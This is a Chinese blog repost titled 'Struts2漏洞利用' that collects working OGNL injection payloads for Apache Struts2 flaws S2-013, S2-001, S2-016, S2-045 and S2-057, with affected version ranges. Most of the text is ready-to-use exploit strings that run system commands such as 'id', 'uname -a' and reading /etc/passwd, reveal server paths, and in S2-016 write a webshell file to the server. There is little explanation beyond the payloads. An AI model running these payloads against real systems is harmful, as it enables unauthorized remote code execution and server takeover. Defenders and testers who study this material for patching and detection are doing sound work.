码迷,mamicode.com
首页 > 其他好文 > 详细

Struts2漏洞利用

时间:2020-05-02 16:31:33      阅读:117      评论:0      收藏:0      [点我收藏+]

标签:int   get   roc   app   ima   class   efault   set   utils   

Struts漏洞合集

Struts-S2-013漏洞利用

受影响版本

Struts 2.0.0 - Struts 2.3.14.1

漏洞利用

任意命令执行POC:

${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec(‘id‘).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

或着

${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘id‘).getInputStream())}

如:

http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(‘id‘).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(‘dbapp%3D‘%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

技术图片

Struts-S2-001漏洞利用

影响版本

Struts2.0.0 - Struts2.3.15

漏洞利用

获取tomcat执行路径:

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

技术图片
技术图片

获取Web路径:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath(‘/‘)),#response.flush(),#response.close()}

执行任意命令(命令加参数:new java.lang.String[]{"cat","/etc/passwd"}):

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

Struts-S2-016漏洞利用

影响版本

2.0.0 - 2.3.15

执行命令

redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

技术图片

获取Web目录

redirect:${#req=#context.get(‘co‘+‘m.open‘+‘symphony.xwo‘+‘rk2.disp‘+‘atcher.HttpSer‘+‘vletReq‘+‘uest‘),#resp=#context.get(‘co‘+‘m.open‘+‘symphony.xwo‘+‘rk2.disp‘+‘atcher.HttpSer‘+‘vletRes‘+‘ponse‘),#resp.setCharacterEncoding(‘UTF-8‘),#ot=#resp.getWriter (),#ot.print(‘web‘),#ot.print(‘path:‘),#ot.print(#req.getSession().getServletContext().getRealPath(‘/‘)),#ot.flush(),#ot.close()}

技术图片

写入Webshell

redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}

技术图片

Struts-S2-045漏洞利用

影响版本

Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10

POC

%{#context[‘com.opensymphony.xwork2.dispatcher.HttpServletResponse‘].addHeader(‘vulhub‘,233*233)}.multipart/form-data

技术图片

EXP

%{(#nike=‘multipart/form-data‘).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container‘]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘ls‘).(#iswin=(@java.lang.System@getProperty(‘os.name‘).toLowerCase().contains(‘win‘))).(#cmds=(#iswin?{‘cmd.exe‘,‘/c‘,#cmd}:{‘/bin/bash‘,‘-c‘,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

技术图片

Struts-S2-057漏洞利用

受影响版本

Struts 2.3 – 2.3.34
Struts 2.5 – 2.5.16

POC

$%7B233*233%7D

技术图片

命令执行

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request[‘struts.valueStack‘].context).(#cr=#ct[‘com.opensymphony.xwork2.ActionContext.container‘]).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec(‘id‘)).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

技术图片

Struts2漏洞利用

标签:int   get   roc   app   ima   class   efault   set   utils   

原文地址:https://www.cnblogs.com/zane-s/p/12818398.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!